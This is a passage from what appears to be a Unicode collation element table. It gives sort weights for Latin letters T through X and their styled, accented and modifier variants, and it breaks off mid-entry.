[.1E1B.0020.0002] # LATIN SMALL LETTER T WITH PALATAL HOOK +1DB5 ; [.1E1B.0020.0014] # MODIFIER LETTER SMALL T WITH PALATAL HOOK +01AD ; [.1E1F.0020.0002] # LATIN SMALL LETTER T WITH HOOK +01AC ; [.1E1F.0020.0008] # LATIN CAPITAL LETTER T WITH HOOK +0288 ; [.1E23.0020.0002] # LATIN SMALL LETTER T WITH RETROFLEX HOOK +01AE ; [.1E23.0020.0008] # LATIN CAPITAL LETTER T WITH RETROFLEX HOOK +0236 ; [.1E27.0020.0002] # LATIN SMALL LETTER T WITH CURL +A777 ; [.1E2B.0020.0002] # LATIN SMALL LETTER TUM +0287 ; [.1E2C.0020.0002] # LATIN SMALL LETTER TURNED T +A7B1 ; [.1E2C.0020.0008] # LATIN CAPITAL LETTER TURNED T +0075 ; [.1E30.0020.0002] # LATIN SMALL LETTER U +FF55 ; [.1E30.0020.0003] # FULLWIDTH LATIN SMALL LETTER U +0367 ; [.1E30.0020.0004] # COMBINING LATIN SMALL LETTER U +24B0 ; [*0310.0020.0004][.1E30.0020.0004][*0311.0020.0004] # PARENTHESIZED LATIN SMALL LETTER U +1D42E ; [.1E30.0020.0005] # MATHEMATICAL BOLD SMALL U +1D462 ; [.1E30.0020.0005] # MATHEMATICAL ITALIC SMALL U +1D496 ; [.1E30.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL U +1D4CA ; [.1E30.0020.0005] # MATHEMATICAL SCRIPT SMALL U +1D4FE ; [.1E30.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL U +1D532 ; [.1E30.0020.0005] # MATHEMATICAL FRAKTUR SMALL U +1D566 ; [.1E30.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL U +1D59A ; [.1E30.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL U +1D5CE ; [.1E30.0020.0005] # MATHEMATICAL SANS-SERIF SMALL U +1D602 ; [.1E30.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL U +1D636 ; [.1E30.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL U +1D66A ; [.1E30.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL U +1D69E ; [.1E30.0020.0005] # MATHEMATICAL MONOSPACE SMALL U +24E4 ; [.1E30.0020.0006] # CIRCLED LATIN SMALL LETTER U +0055 ; [.1E30.0020.0008] # LATIN CAPITAL LETTER U +FF35 ; [.1E30.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER U +1F124 ; [*0310.0020.0004][.1E30.0020.000A][*0311.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER U +1D414 ; [.1E30.0020.000B] # MATHEMATICAL BOLD CAPITAL U +1D448 ; [.1E30.0020.000B] # MATHEMATICAL ITALIC CAPITAL U +1D47C ; [.1E30.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL U +1D4B0 ; [.1E30.0020.000B] # MATHEMATICAL SCRIPT CAPITAL U +1D4E4 ; [.1E30.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL U +1D518 ; [.1E30.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL U +1D54C ; [.1E30.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL U +1D580 ; [.1E30.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL U +1D5B4 ; [.1E30.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL U +1D5E8 ; [.1E30.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL U +1D61C ; [.1E30.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL U +1D650 ; [.1E30.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL U +1D684 ; [.1E30.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL U +24CA ; [.1E30.0020.000C] # CIRCLED LATIN CAPITAL LETTER U +1F164 ; [.1E30.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER U +1D58 ; [.1E30.0020.0014] # MODIFIER LETTER SMALL U +1D64 ; [.1E30.0020.0015] # LATIN SUBSCRIPT SMALL LETTER U +1D41 ; [.1E30.0020.001D] # MODIFIER LETTER CAPITAL U +1F144 ; [.1E30.0020.001D] # SQUARED LATIN CAPITAL LETTER U +1F184 ; [.1E30.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER U +00FA ; [.1E30.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH ACUTE +00DA ; [.1E30.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH ACUTE +00F9 ; [.1E30.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH GRAVE +00D9 ; [.1E30.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH GRAVE +016D ; [.1E30.0020.0002][.0000.0026.0002] # LATIN SMALL LETTER U WITH BREVE +016C ; [.1E30.0020.0008][.0000.0026.0002] # LATIN CAPITAL LETTER U WITH BREVE +00FB ; [.1E30.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER U WITH CIRCUMFLEX +00DB ; [.1E30.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER U WITH CIRCUMFLEX +01D4 ; [.1E30.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH CARON +01D3 ; [.1E30.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH CARON +016F ; [.1E30.0020.0002][.0000.0029.0002] # LATIN SMALL LETTER U WITH RING ABOVE +016E ; [.1E30.0020.0008][.0000.0029.0002] # LATIN CAPITAL LETTER U WITH RING ABOVE +00FC ; [.1E30.0020.0002][.0000.002B.0002] # LATIN SMALL LETTER U WITH DIAERESIS +1DF4 ; [.1E30.0020.0004][.0000.002B.0004] # COMBINING LATIN SMALL LETTER U WITH DIAERESIS +A79F ; [.1E30.0020.0004][.0000.002B.0004] # LATIN SMALL LETTER VOLAPUK UE +00DC ; [.1E30.0020.0008][.0000.002B.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS +A79E ; [.1E30.0020.000A][.0000.002B.0004] # LATIN CAPITAL LETTER VOLAPUK UE +01D8 ; [.1E30.0020.0002][.0000.002B.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE +01D7 ; [.1E30.0020.0008][.0000.002B.0002][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE +01DC ; [.1E30.0020.0002][.0000.002B.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE +01DB ; [.1E30.0020.0008][.0000.002B.0002][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE +01DA ; [.1E30.0020.0002][.0000.002B.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON +01D9 ; [.1E30.0020.0008][.0000.002B.0002][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON +01D6 ; [.1E30.0020.0002][.0000.002B.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON +01D5 ; [.1E30.0020.0008][.0000.002B.0002][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON +0171 ; [.1E30.0020.0002][.0000.002C.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE +0170 ; [.1E30.0020.0008][.0000.002C.0002] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE +0169 ; [.1E30.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER U WITH TILDE +0168 ; [.1E30.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER U WITH TILDE +1E79 ; [.1E30.0020.0002][.0000.002D.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH TILDE AND ACUTE +1E78 ; [.1E30.0020.0008][.0000.002D.0002][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH TILDE AND ACUTE +0173 ; [.1E30.0020.0002][.0000.0031.0002] # LATIN SMALL LETTER U WITH OGONEK +0172 ; [.1E30.0020.0008][.0000.0031.0002] # LATIN CAPITAL LETTER U WITH OGONEK +016B ; [.1E30.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH MACRON +016A ; [.1E30.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH MACRON +1E7B ; [.1E30.0020.0002][.0000.0032.0002][.0000.002B.0002] # LATIN SMALL LETTER U WITH MACRON AND DIAERESIS +1E7A ; [.1E30.0020.0008][.0000.0032.0002][.0000.002B.0002] # LATIN CAPITAL LETTER U WITH MACRON AND DIAERESIS +1DF0 ; [.1E30.0020.0004][.0000.0034.0004] # COMBINING LATIN SMALL LETTER U WITH LIGHT CENTRALIZATION STROKE +1EE7 ; [.1E30.0020.0002][.0000.003B.0002] # LATIN SMALL LETTER U WITH HOOK ABOVE +1EE6 ; [.1E30.0020.0008][.0000.003B.0002] # LATIN CAPITAL LETTER U WITH HOOK ABOVE +0215 ; [.1E30.0020.0002][.0000.003C.0002] # LATIN SMALL LETTER U WITH DOUBLE GRAVE +0214 ; [.1E30.0020.0008][.0000.003C.0002] # LATIN CAPITAL LETTER U WITH DOUBLE GRAVE +0217 ; [.1E30.0020.0002][.0000.003E.0002] # LATIN SMALL LETTER U WITH INVERTED BREVE +0216 ; [.1E30.0020.0008][.0000.003E.0002] # LATIN CAPITAL LETTER U WITH INVERTED BREVE +01B0 ; [.1E30.0020.0002][.0000.003F.0002] # LATIN SMALL LETTER U WITH HORN +01AF ; [.1E30.0020.0008][.0000.003F.0002] # LATIN CAPITAL LETTER U WITH HORN +1EE9 ; [.1E30.0020.0002][.0000.003F.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH HORN AND ACUTE +1EE8 ; [.1E30.0020.0008][.0000.003F.0002][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH HORN AND ACUTE +1EEB ; [.1E30.0020.0002][.0000.003F.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH HORN AND GRAVE +1EEA ; [.1E30.0020.0008][.0000.003F.0002][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH HORN AND GRAVE +1EEF ; [.1E30.0020.0002][.0000.003F.0002][.0000.002D.0002] # LATIN SMALL LETTER U WITH HORN AND TILDE +1EEE ; [.1E30.0020.0008][.0000.003F.0002][.0000.002D.0002] # LATIN CAPITAL LETTER U WITH HORN AND TILDE +1EED ; [.1E30.0020.0002][.0000.003F.0002][.0000.003B.0002] # LATIN SMALL LETTER U WITH HORN AND HOOK ABOVE +1EEC ; [.1E30.0020.0008][.0000.003F.0002][.0000.003B.0002] # LATIN CAPITAL LETTER U WITH HORN AND HOOK ABOVE +1EF1 ; [.1E30.0020.0002][.0000.003F.0002][.0000.0042.0002] # LATIN SMALL LETTER U WITH HORN AND DOT BELOW +1EF0 ; [.1E30.0020.0008][.0000.003F.0002][.0000.0042.0002] # LATIN CAPITAL LETTER U WITH HORN AND DOT BELOW +1EE5 ; [.1E30.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER U WITH DOT BELOW +1EE4 ; [.1E30.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER U WITH DOT BELOW +1E73 ; [.1E30.0020.0002][.0000.0043.0002] # LATIN SMALL LETTER U WITH DIAERESIS BELOW +1E72 ; [.1E30.0020.0008][.0000.0043.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS BELOW +1E77 ; [.1E30.0020.0002][.0000.0046.0002] # LATIN SMALL LETTER U WITH CIRCUMFLEX BELOW +1E76 ; [.1E30.0020.0008][.0000.0046.0002] # LATIN CAPITAL LETTER U WITH CIRCUMFLEX BELOW +1E75 ; [.1E30.0020.0002][.0000.0048.0002] # LATIN SMALL LETTER U WITH TILDE BELOW +1E74 ; [.1E30.0020.0008][.0000.0048.0002] # LATIN CAPITAL LETTER U WITH TILDE BELOW +1F199 ; [.1E30.0020.001D][.1D87.0020.001D][*025F.0020.001C] # SQUARED UP WITH EXCLAMATION MARK +1D1C ; [.1E34.0020.0002] # LATIN LETTER SMALL CAPITAL U +1DB8 ; [.1E34.0020.0014] # MODIFIER LETTER SMALL CAPITAL U +AB4E ; [.1E35.0020.0002] # LATIN SMALL LETTER U WITH SHORT RIGHT LEG +1D1D ; [.1E36.0020.0002] # LATIN SMALL LETTER SIDEWAYS U +1D59 ; [.1E36.0020.0014] # MODIFIER LETTER SMALL SIDEWAYS U +1D1E ; [.1E37.0020.0002] # LATIN SMALL LETTER SIDEWAYS DIAERESIZED U +1D6B ; [.1E38.0020.0002] # LATIN SMALL LETTER UE +AB50 ; [.1E39.0020.0002] # LATIN SMALL LETTER UI +AB51 ; [.1E3A.0020.0002] # LATIN SMALL LETTER TURNED UI +0289 ; [.1E3B.0020.0002] # LATIN SMALL LETTER U BAR +0244 ; [.1E3B.0020.0008] # LATIN CAPITAL LETTER U BAR +1DB6 ; [.1E3B.0020.0014] # MODIFIER LETTER SMALL U BAR +AB4F ; [.1E3F.0020.0002] # LATIN SMALL LETTER U BAR WITH SHORT RIGHT LEG +1D7E ; [.1E40.0020.0002] # LATIN SMALL CAPITAL LETTER U WITH STROKE +1D99 ; [.1E41.0020.0002] # LATIN SMALL LETTER U WITH RETROFLEX HOOK +AB52 ; [.1E42.0020.0002] # LATIN SMALL LETTER U WITH LEFT HOOK +AB5F ; [.1E42.0020.0014] # MODIFIER LETTER SMALL U WITH LEFT HOOK +0265 ; [.1E43.0020.0002] # LATIN SMALL LETTER TURNED H +A78D ; [.1E43.0020.0008] # LATIN CAPITAL LETTER TURNED H +1DA3 ; [.1E43.0020.0014] # MODIFIER LETTER SMALL TURNED H +02AE ; [.1E47.0020.0002] # LATIN SMALL LETTER TURNED H WITH FISHHOOK +02AF ; [.1E4B.0020.0002] # LATIN SMALL LETTER TURNED H WITH FISHHOOK AND TAIL +026F ; [.1E4F.0020.0002] # LATIN SMALL LETTER TURNED M +019C ; [.1E4F.0020.0008] # LATIN CAPITAL LETTER TURNED M +1D5A ; [.1E4F.0020.0014] # MODIFIER LETTER SMALL TURNED M +A7FA ; [.1E53.0020.0002] # LATIN LETTER SMALL CAPITAL TURNED M +1D1F ; [.1E54.0020.0002] # LATIN SMALL LETTER SIDEWAYS TURNED M +0270 ; [.1E55.0020.0002] # LATIN SMALL LETTER TURNED M WITH LONG LEG +1DAD ; [.1E55.0020.0014] # MODIFIER LETTER SMALL TURNED M WITH LONG LEG +028A ; [.1E59.0020.0002] # LATIN SMALL LETTER UPSILON +01B1 ; [.1E59.0020.0008] # LATIN CAPITAL LETTER UPSILON +1DB7 ; [.1E59.0020.0014] # MODIFIER LETTER SMALL UPSILON +1D7F ; [.1E5D.0020.0002] # LATIN SMALL LETTER UPSILON WITH STROKE +0076 ; [.1E5E.0020.0002] # LATIN SMALL LETTER V +FF56 ; [.1E5E.0020.0003] # FULLWIDTH LATIN SMALL LETTER V +036E ; [.1E5E.0020.0004] # COMBINING LATIN SMALL LETTER V +2174 ; [.1E5E.0020.0004] # SMALL ROMAN NUMERAL FIVE +24B1 ; [*0310.0020.0004][.1E5E.0020.0004][*0311.0020.0004] # PARENTHESIZED LATIN SMALL LETTER V +1D42F ; [.1E5E.0020.0005] # MATHEMATICAL BOLD SMALL V +1D463 ; [.1E5E.0020.0005] # MATHEMATICAL ITALIC SMALL V +1D497 ; [.1E5E.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL V +1D4CB ; [.1E5E.0020.0005] # MATHEMATICAL SCRIPT SMALL V +1D4FF ; [.1E5E.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL V +1D533 ; [.1E5E.0020.0005] # MATHEMATICAL FRAKTUR SMALL V +1D567 ; [.1E5E.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL V +1D59B ; [.1E5E.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL V +1D5CF ; [.1E5E.0020.0005] # MATHEMATICAL SANS-SERIF SMALL V +1D603 ; [.1E5E.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL V +1D637 ; [.1E5E.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL V +1D66B ; [.1E5E.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL V +1D69F ; [.1E5E.0020.0005] # MATHEMATICAL MONOSPACE SMALL V +24E5 ; [.1E5E.0020.0006] # CIRCLED LATIN SMALL LETTER V +0056 ; [.1E5E.0020.0008] # LATIN CAPITAL LETTER V +FF36 ; [.1E5E.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER V +2164 ; [.1E5E.0020.000A] # ROMAN NUMERAL FIVE +1F125 ; [*0310.0020.0004][.1E5E.0020.000A][*0311.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER V +1D415 ; [.1E5E.0020.000B] # MATHEMATICAL BOLD CAPITAL V +1D449 ; [.1E5E.0020.000B] # MATHEMATICAL ITALIC CAPITAL V +1D47D ; [.1E5E.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL V +1D4B1 ; [.1E5E.0020.000B] # MATHEMATICAL SCRIPT CAPITAL V +1D4E5 ; [.1E5E.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL V +1D519 ; [.1E5E.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL V +1D54D ; [.1E5E.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL V +1D581 ; [.1E5E.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL V +1D5B5 ; [.1E5E.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL V +1D5E9 ; [.1E5E.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL V +1D61D ; [.1E5E.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL V +1D651 ; [.1E5E.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL V +1D685 ; [.1E5E.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL V +24CB ; [.1E5E.0020.000C] # CIRCLED LATIN CAPITAL LETTER V +1F165 ; [.1E5E.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER V +1D5B ; [.1E5E.0020.0014] # MODIFIER LETTER SMALL V +1D65 ; [.1E5E.0020.0015] # LATIN SUBSCRIPT SMALL LETTER V +2C7D ; [.1E5E.0020.001D] # MODIFIER LETTER CAPITAL V +1F145 ; [.1E5E.0020.001D] # SQUARED LATIN CAPITAL LETTER V +1F185 ; [.1E5E.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER V +1E7D ; [.1E5E.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER V WITH TILDE +1E7C ; [.1E5E.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER V WITH TILDE +1E7F ; [.1E5E.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER V WITH DOT BELOW +1E7E ; [.1E5E.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER V WITH DOT BELOW +2175 ; [.1E5E.0020.0004][.1CAD.0020.0004] # SMALL ROMAN NUMERAL SIX +2165 ; [.1E5E.0020.000A][.1CAD.0020.000A] # ROMAN NUMERAL SIX +2176 ; [.1E5E.0020.0004][.1CAD.0020.0004][.1CAD.0020.0004] # SMALL ROMAN NUMERAL SEVEN +2166 ; [.1E5E.0020.000A][.1CAD.0020.000A][.1CAD.0020.000A] # ROMAN NUMERAL SEVEN +2177 ; [.1E5E.0020.0004][.1CAD.0020.0004][.1CAD.0020.0004][.1CAD.0020.0004] # SMALL ROMAN NUMERAL EIGHT +2167 ; [.1E5E.0020.000A][.1CAD.0020.000A][.1CAD.0020.000A][.1CAD.0020.000A] # ROMAN NUMERAL EIGHT +33DE ; [.1E5E.0020.001D][*0605.0020.001C][.1D25.0020.001C] # SQUARE V OVER M +1F19A ; [.1E5E.0020.001D][.1DEC.0020.001D] # SQUARED VS +A761 ; [.1E5E.0020.0004][.1E86.0020.0004] # LATIN SMALL LETTER VY +A760 ; [.1E5E.0020.000A][.1E86.0020.000A] # LATIN CAPITAL LETTER VY +1D20 ; [.1E62.0020.0002] # LATIN LETTER SMALL CAPITAL V +A75F ; [.1E63.0020.0002] # LATIN SMALL LETTER V WITH DIAGONAL STROKE +A75E ; [.1E63.0020.0008] # LATIN CAPITAL LETTER V WITH DIAGONAL STROKE +1D8C ; [.1E64.0020.0002] # LATIN SMALL LETTER V WITH PALATAL HOOK +028B ; [.1E65.0020.0002] # LATIN SMALL LETTER V WITH HOOK +01B2 ; [.1E65.0020.0008] # LATIN CAPITAL LETTER V WITH HOOK +1DB9 ; [.1E65.0020.0014] # MODIFIER LETTER SMALL V WITH HOOK +2C71 ; [.1E69.0020.0002] # LATIN SMALL LETTER V WITH RIGHT HOOK +2C74 ; [.1E6A.0020.0002] # LATIN SMALL LETTER V WITH CURL +1EFD ; [.1E6B.0020.0002] # LATIN SMALL LETTER MIDDLE-WELSH V +1EFC ; [.1E6B.0020.0008] # LATIN CAPITAL LETTER MIDDLE-WELSH V +028C ; [.1E6C.0020.0002] # LATIN SMALL LETTER TURNED V +0245 ; [.1E6C.0020.0008] # LATIN CAPITAL LETTER TURNED V +1DBA ; [.1E6C.0020.0014] # MODIFIER LETTER SMALL TURNED V +0077 ; [.1E70.0020.0002] # LATIN SMALL LETTER W +FF57 ; [.1E70.0020.0003] # FULLWIDTH LATIN SMALL LETTER W +1DF1 ; [.1E70.0020.0004] # COMBINING LATIN SMALL LETTER W +24B2 ; [*0310.0020.0004][.1E70.0020.0004][*0311.0020.0004] # PARENTHESIZED LATIN SMALL LETTER W +1D430 ; [.1E70.0020.0005] # MATHEMATICAL BOLD SMALL W +1D464 ; [.1E70.0020.0005] # MATHEMATICAL ITALIC SMALL W +1D498 ; [.1E70.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL W +1D4CC ; [.1E70.0020.0005] # MATHEMATICAL SCRIPT SMALL W +1D500 ; [.1E70.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL W +1D534 ; [.1E70.0020.0005] # MATHEMATICAL FRAKTUR SMALL W +1D568 ; [.1E70.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL W +1D59C ; [.1E70.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL W +1D5D0 ; [.1E70.0020.0005] # MATHEMATICAL SANS-SERIF SMALL W +1D604 ; [.1E70.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL W +1D638 ; [.1E70.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL W +1D66C ; [.1E70.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL W +1D6A0 ; [.1E70.0020.0005] # MATHEMATICAL MONOSPACE SMALL W +24E6 ; [.1E70.0020.0006] # CIRCLED LATIN SMALL LETTER W +0057 ; [.1E70.0020.0008] # LATIN CAPITAL LETTER W +FF37 ; [.1E70.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER W +1F126 ; [*0310.0020.0004][.1E70.0020.000A][*0311.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER W +1D416 ; [.1E70.0020.000B] # MATHEMATICAL BOLD CAPITAL W +1D44A ; [.1E70.0020.000B] # MATHEMATICAL ITALIC CAPITAL W +1D47E ; [.1E70.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL W +1D4B2 ; [.1E70.0020.000B] # MATHEMATICAL SCRIPT CAPITAL W +1D4E6 ; [.1E70.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL W +1D51A ; [.1E70.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL W +1D54E ; [.1E70.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL W +1D582 ; [.1E70.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL W +1D5B6 ; [.1E70.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL W +1D5EA ; [.1E70.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL W +1D61E ; [.1E70.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL W +1D652 ; [.1E70.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL W +1D686 ; [.1E70.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL W +24CC ; [.1E70.0020.000C] # CIRCLED LATIN CAPITAL LETTER W +1F166 ; [.1E70.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER W +02B7 ; [.1E70.0020.0014] # MODIFIER LETTER SMALL W +1D42 ; [.1E70.0020.001D] # MODIFIER LETTER CAPITAL W +1F146 ; [.1E70.0020.001D] # SQUARED LATIN CAPITAL LETTER W +1F186 ; [.1E70.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER W +1E83 ; [.1E70.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER W WITH ACUTE +1E82 ; [.1E70.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER W WITH ACUTE +1E81 ; [.1E70.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER W WITH GRAVE +1E80 ; [.1E70.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER W WITH GRAVE +0175 ; [.1E70.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER W WITH CIRCUMFLEX +0174 ; [.1E70.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER W WITH CIRCUMFLEX +1E98 ; [.1E70.0020.0002][.0000.0029.0002] # LATIN SMALL LETTER W WITH RING ABOVE +1E85 ; [.1E70.0020.0002][.0000.002B.0002] # LATIN SMALL LETTER W WITH DIAERESIS +1E84 ; [.1E70.0020.0008][.0000.002B.0002] # LATIN CAPITAL LETTER W WITH DIAERESIS +1E87 ; [.1E70.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER W WITH DOT ABOVE +1E86 ; [.1E70.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER W WITH DOT ABOVE +1E89 ; [.1E70.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER W WITH DOT BELOW +1E88 ; [.1E70.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER W WITH DOT BELOW +33DD ; [.1E70.0020.001D][.1BDB.0020.001C] # SQUARE WB +1F14F ; [.1E70.0020.001D][.1BF5.0020.001D] # SQUARED WC +1F18F ; [.1E70.0020.001D][.1BF5.0020.001D] # NEGATIVE SQUARED WC +1F12E ; [.1E70.0020.000C][.1E9C.0020.000C] # CIRCLED WZ +1D21 ; [.1E74.0020.0002] # LATIN LETTER SMALL CAPITAL W +2C73 ; [.1E75.0020.0002] # LATIN SMALL LETTER W WITH HOOK +2C72 ; [.1E75.0020.0008] # LATIN CAPITAL LETTER W WITH HOOK +028D ; [.1E76.0020.0002] # LATIN SMALL LETTER TURNED W +0078 ; [.1E7A.0020.0002] # LATIN SMALL LETTER X +FF58 ; [.1E7A.0020.0003] # FULLWIDTH LATIN SMALL LETTER X +036F ; [.1E7A.0020.0004] # COMBINING LATIN SMALL LETTER X +2179 ; [.1E7A.0020.0004] # SMALL ROMAN NUMERAL TEN +24B3 ; [*0310.0020.0004][.1E7A.0020.0004][*0311.0020.0004] # PARENTHESIZED LATIN SMALL LETTER X +1D431 ; [.1E7A.0020.0005] # MATHEMATICAL BOLD SMALL X +1D465 ; [.1E7A.0020.0005] # MATHEMATICAL ITALIC SMALL X +1D499 ; [.1E7A.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL X +1D4CD ; [.1E7A.0020.0005] # MATHEMATICAL SCRIPT SMALL X +1D501 ; [.1E7A.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL X +1D535 ; [.1E7A.0020.0005] # MATHEMATICAL FRAKTUR SMALL X +1D569 ; [.1E7A.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL X +1D59D ; [.1E7A.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL X +1D5D1 ; [.1E7A.0020.0005] # MATHEMATICAL SANS-SERIF SMALL X +1D605 ; [.1E7A.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL X +1D639 ; [.1E7A.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL X +1D66D ; [.1E7A.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL X +1D6A1 ; [.1E7A.0020.0005] # MATHEMATICAL MONOSPACE SMALL X +24E7 ; [.1E7A.0020.0006] # CIRCLED LATIN SMALL LETTER X +0058 ; [.1E7A.0020.0008] # LATIN CAPITAL LETTER X +FF38 ; [.1E7A.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER X +2169 ; [.1E7A.0020.000A] # ROMAN NUMERAL TEN +1F127 ; [*0310.0020.0004][.1E7A.0020.000A][*0311.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER X +1D417 ; [.1E7A.0020.000B] # MATHEMATICAL BOLD CAPITAL X +1D44B ; [.1E7A.0020.000B] # MATHEMATICAL ITALIC CAPITAL X +1D47F ; [.1E7A.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL X +1D4B3 ; [.1E7A.0020.000B] # MATHEMATICAL SCRIPT CAPITAL X +1D4E7 ; [.1E7A.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL X +1D51B ; [.1E7A.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL X +1D54F ; [.1E7A.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL X +1D583 ; [.1E7A.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL X +1D5B7 ; [.1E7A.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL X +1D5EB ; [.1E7A.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL X +1D61F ; 